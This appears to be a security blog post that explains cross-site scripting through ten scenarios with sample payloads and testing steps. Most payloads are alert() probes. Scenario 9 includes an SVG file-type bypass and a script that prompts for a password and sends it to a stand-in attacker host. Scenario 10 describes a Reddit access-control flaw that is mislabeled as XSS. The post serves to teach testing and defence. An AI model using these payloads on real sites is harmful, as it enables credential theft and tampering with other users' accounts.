Inside the XSS Vulnerability: How to Understand and Protect Yourself

Cross-Site Scripting (XSS) is one of the most prevalent and dangerous vulnerabilities in web applications. It allows attackers to inject malicious scripts into web pages viewed by other users, leading to a wide range of potential attacks. In this blog post, we will explore various scenarios where XSS might occur and provide a step-by-step guide to testing and identifying this vulnerability.
What is an XSS Vulnerability?
Cross-Site Scripting (XSS) occurs when an attacker injects malicious scripts into content that is then served to users. These scripts can steal information, manipulate web content, or redirect users to malicious sites. XSS vulnerabilities are categorized into three main types: Stored XSS, Reflected XSS, and DOM-based XSS.
Scenario 1: Stored XSS in a Comment Section
Description: In a web application with a comment section, if user input is not properly sanitized, an attacker might inject a malicious script that gets stored in the database and executed when other users view the comment.
<!-- Attacker's Comment -->
<script>alert('XSS Attack!');</script>
Testing Method: Input the above script in the comment section and observe if an alert box appears when the comment is viewed.
Scenario 2: Reflected XSS through Search Functionality
Description: In a search functionality that reflects user input in the search results, an attacker might craft a URL with a malicious script that gets executed when a user clicks on it.
Example URL:
https://example.com/search?q=<script>alert('XSS Attack!');</script>
Testing Method: Access the above URL and observe if an alert box appears.
Scenario 3: DOM-based XSS in a Language Selector
Description: In a language selector that uses JavaScript to update the page content based on user input, an attacker might manipulate the DOM to execute a malicious script.
Example URL:
https://example.com/home#lang=<script>alert('XSS Attack!');</script>
Testing Method: Access the above URL and observe if an alert box appears.
Scenario 4: XSS through File Upload
Description: If a web application allows users to upload files that are then served to other users, an attacker might upload a file containing a malicious script.
Example File Content:
<html>
<body>
<script>alert('XSS Attack!');</script>
</body>
</html>
Testing Method: Upload a file containing the above content and access it through the application.
Scenario 5: XSS in an Online Code Editor
Description: In an online code editor that allows users to write and execute code, an attacker might write a malicious script that gets executed when another user views or runs it.
Example Code:
document.write("<script>alert('XSS Attack!');</script>");
Testing Method: Write the above code in the editor and observe if an alert box appears when it is run.
Scenario 6: XSS through Third-Party Widgets
Description: If a web application includes third-party widgets (e.g., social media buttons) that are not properly isolated, an attacker might exploit vulnerabilities in these widgets to execute a malicious script.
Example Code:
<!-- Malicious Social Media Button -->
<a href="javascript:alert('XSS Attack!');">Share</a>
Testing Method: Click on the malicious social media button and observe if an alert box appears.
Scenario 7: XSS in an Email Client
Description: In an email client that renders HTML emails, an attacker might send an email containing a malicious script that gets executed when the recipient views the email.
Example Email Content:
<html>
<body>
<a href="javascript:alert('XSS Attack!');">Click me!</a>
</body>
</html>
Testing Method: Send an email containing the above content and observe if an alert box appears when it is viewed.
Scenario 8: XSS through Malicious Browser Extensions
Description: If a user installs a malicious browser extension, it might inject malicious scripts into web pages viewed by the user.
Example Extension Code:
chrome.tabs.executeScript({
code: "alert('XSS Attack!');"
});
Testing Method: Install the malicious extension and observe if an alert box appears when browsing the web.
These scenarios illustrate the diverse ways in which XSS vulnerabilities can manifest in web applications. They highlight the importance of proper input sanitization, secure coding practices, and vigilant monitoring of third-party components. By understanding these scenarios and testing methods, developers and security professionals can better identify and mitigate XSS vulnerabilities, enhancing the overall security of their applications.
Scenario 9: Abusing File Upload Functionality to Stored XSS Leading to Credential Theft
Description:
In this scenario, a vulnerability was discovered in a web application that allowed for a File Upload Vulnerability leading to Stored Cross-Site Scripting (XSS) followed by Credential Theft of a victim.
Example:
The application had a form that allowed users to upload images such as logos, background images, and advertisement images. The application only allowed specific file formats like gif, png, jpg, or jpeg.
Method:
- Identifying the Vulnerable Endpoint: The attacker noticed that the application allowed the uploading of image files and decided to upload a maliciously crafted SVG file.
- Bypassing File Format Restrictions: The application initially blocked the SVG file, but the attacker bypassed this by renaming the file from “Fileupload.svg” to “Fileupload.svg.png.”
- Crafting the Payload: The attacker uploaded an SVG file containing the following payload to execute an alert:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009901" stroke="#004400"/>
<script type="text/javascript">alert(document.cookie);</script>
</svg>
4. Taking it to Credential Theft: The attacker modified the payload to prompt the user for a password and send it to an attacker-controlled URL:
<script>
var passwd = prompt("Enter your password to continue");
var xhr = new XMLHttpRequest();
xhr.open("GET","https://attacker-url.com/log.php?password="+encodeURI(passwd));
xhr.send();
</script>
5. Executing the Attack: The attacker uploaded the modified payload and accessed the SVG image, causing the web page to respond with a prompt. The entered password was then sent to the attacker’s URL.
Impact:
This vulnerability allowed the attacker to steal credentials from any victim who accessed the URL where the malicious file was uploaded.
Scenario10 : Modifying User Profile Links in Reddit
Description:
A vulnerability was discovered in Reddit that allowed an attacker to change any Reddit user’s profile links by manipulating the id
parameter in the request.
Example:
The custom links on the profile could be changed with the following vulnerable request:
POST / HTTP/2
Host: gql.reddit.com
Content-Type: application/json
Authorization: Bearer <token>
Referer: https://www.reddit.com/
{
"id": "c558e604581f",
"variables": {
"input": {
"socialLinks": [
{
"outboundUrl": "https://www.hackerone.com",
"title": "hacker",
"type": "CUSTOM",
"id": "<custom_link_id>"
}
]
}
}
}
Method:
- Identifying the Vulnerable Endpoint: The attacker found that the
id
parameter in the JSON body was a direct reference to the custom link object. - Crafting the Attack: By changing the
id
parameter, the attacker could modify any Reddit user's profile links. - Testing Method: The attacker used a specific request to get the custom link IDs on other users’ profiles and then used those IDs in the previous request to modify the user’s custom profile links.
Impact:
This vulnerability allowed the attacker to modify any Reddit user’s profile links, potentially redirecting users to malicious websites.
Bounty Awarded:
The hacker was rewarded a $5000 bounty for this discovery.
These scenarios illustrate the complexity and potential severity of XSS vulnerabilities in real-world applications. Proper understanding, testing, and mitigation of these vulnerabilities are crucial for securing web applications.